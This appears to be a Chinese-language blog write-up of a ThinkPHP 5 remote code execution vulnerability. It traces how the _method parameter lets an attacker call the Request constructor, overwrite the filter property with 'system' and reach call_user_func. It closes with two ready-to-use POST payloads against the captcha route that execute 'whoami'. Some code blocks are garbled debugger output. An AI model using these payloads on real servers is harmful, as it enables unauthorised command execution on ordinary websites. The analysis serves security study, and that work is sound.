```
POST /index.php HTTP/1.1
public function method($method = false)
    if (true === $method) {
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
    $this->method = strtoupper($_POST[Config::get('var_method')]);
             $this->{$this->method}($_POST);
                                      可以任意调用Request
类的部分方法
    return $this->method:
protected function __construct($options = [])
     foreach ($options as $name => $item) {
         if (property_exists($this, $name)) {
             $this->$name = $item;
         类属性任意覆
                                             最后上面覆盖的类属性,被
用在call_user_func函数中
     $default = array_pop($filters);
         if (is_callable($filter)) {
             $value = call_user_func($filter, $value);
         } elseif (is_scalar($value)) {
     return $this->filterExp($value);
```

call_user_func 调用 system 造成rce

梳理思路:

\$this->method 可控导致可以调用 __contruct() 覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行 \$request->param(),并且还有 \$dispatch['type'] 等于 controller 或者method 时会执行 \$request->param(),而 \$request->param() 会进入到 input() 方法,在这个方法中将被覆盖的 filter 回调 call_user_func(),造成rce

POC1

在tp当中程序的开始是从 App.php 开始的,在 run 方法当中,首先是经过 \$dispatch = self::routeCheck(\$request, \$config) 检查调用的路由,而在这个方法当中存在调用了 Route::check

在这个方法当中, 又存在了 \$method = strtolower(\$request->method());

调用method方法他会因此进入 Request.php

```
public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
}
```

\$method 默认为 False 进入分支条件

\$\this->method = strtoupper(\\$_POST[Config::get('var_method')]); 这句话比较危险,在这个类中 var_method 对应了 _method ,因此我们只要post的方式传入这个参数,即可进入分支条件 \$\this->\{\\$\this->method\}(\\$_POST); 从而通过这句话执行类的任意函数,看看我们传入的参数 _method=__construct&filter[]=system&method=get&get[]=whoami 因此他会调用 __construct ,里面的foreach循环导致变量的覆盖

```
protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}
```

实现了变量覆盖,在 method 方法结束后,返回的 \$this->method 值应为 get 这样才能不出错,所以 payload中有个 method=get

```
$\frac{1}{3} \times \text{$\text{this->filter} = {\text{array}} [1]}
01 0 = "system"

$\frac{1}{3} \times \text{$\text{this->get} = {\text{array}} [1]}
01 0 = "whoami"
01 \text{$\text{$\text{this->method} = "get"}}
```

继续跟踪关键语句

进入exec方法,由于captcha路由的能使 \$dispatch=method 从而进入 Request::instance()->param()。

如上方法中 \$this->param 通过 array_merge 将当前请求参数和URL地址中的参数合并。

我们跟进get方法

```
*/
public function get($name = '', $default = null, $filter = '') $default: null $filter: "" $name: false
{
    if (empty($this->get)) { $this: {instance => think\Request, hook => [0], method => "get", domain => null, url
        $this->get = $_GET; $_GET: {XDEBUG_SESSION_START => "12258"}[1]
    }
    if (is_array($name)) {
        $this->param = []; param: [0]
        return $this->get = array_merge($this->get, $name);
    }
    return $this->input($this->get, $name, $default, $filter); $default: null $filter: "" $name: false $t
    }

/**
    * 從置获取POST参数
    * @access public
```

,由于前面变量覆盖导致get是有值的

它因此会调用input方法,也因此返回了get数组的值

```
* @return mixed

*/
public function input($data = [], $name = '', $default = null, $filter = '')

{
    if (false === $name) {
        // 获取原始数据
        return $data;
}
```

之后 \$this->param 通过 array_merge 值变成如下

```
> $\frac{1}{3} $\text{this->param} = {\text{array}} [2]
01 0 = "whoami"
01 id = null
```

进入

发现是获取filter参数的方法,由于之前的变量覆盖

```
protected function getFilter($filter, $default) $default: null $filter: ""
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter; $filter: "" $this: {instance => think\Request, hook => if (is_string($filter) && false === strpos($filter, needle: '/')) {
        $filter = explode( separator: ',', $filter);
        } else {
        $filter = (array) $filter;
        }
    }
    $filter[] = $default;
    return $filter;
}
```

```
filter = {array} [0]
     0 = system
```

通过 array_walk_recursive 为数组中的元素调用 filtervalue 方法

之后游戏结束, hhh挺有意思的

给出payload

```
http://xxxxx.xxx/public/?s=captcha

Body
_method=__construct&filter[]=system&method=get&get[]=whoami
```

POC 2

我们发现一个有趣的地方

再跟进,进入了server方法

```
#/
public function method(smethod = false)

{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server( name: 'REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get( name: 'var_method')])) {
            $this->method = strtoupper($_POST[Config::get( name: 'var_method')]);
            $this->{$this->method}($_POST);
    } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
    } else {
            $this->method = $this->server( name: 'REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method; method: "get"
}
```

重点来了,这里面居然也有input方法,hhh

```
public function server($name = '', $default = null, $filter = '')
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, name: false === $name ? false : strtoupper($name), $default, $filter);
}
```

因此利用前面的__construct,可以通过传入 server[REQUEST_METHOD]=dir,使得在经过 foreach循环时置 \$data 值为 dir,此后调用 getFilter,同样实现RCE:

给出payload

```
http://xxxxx.xxx/public/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
```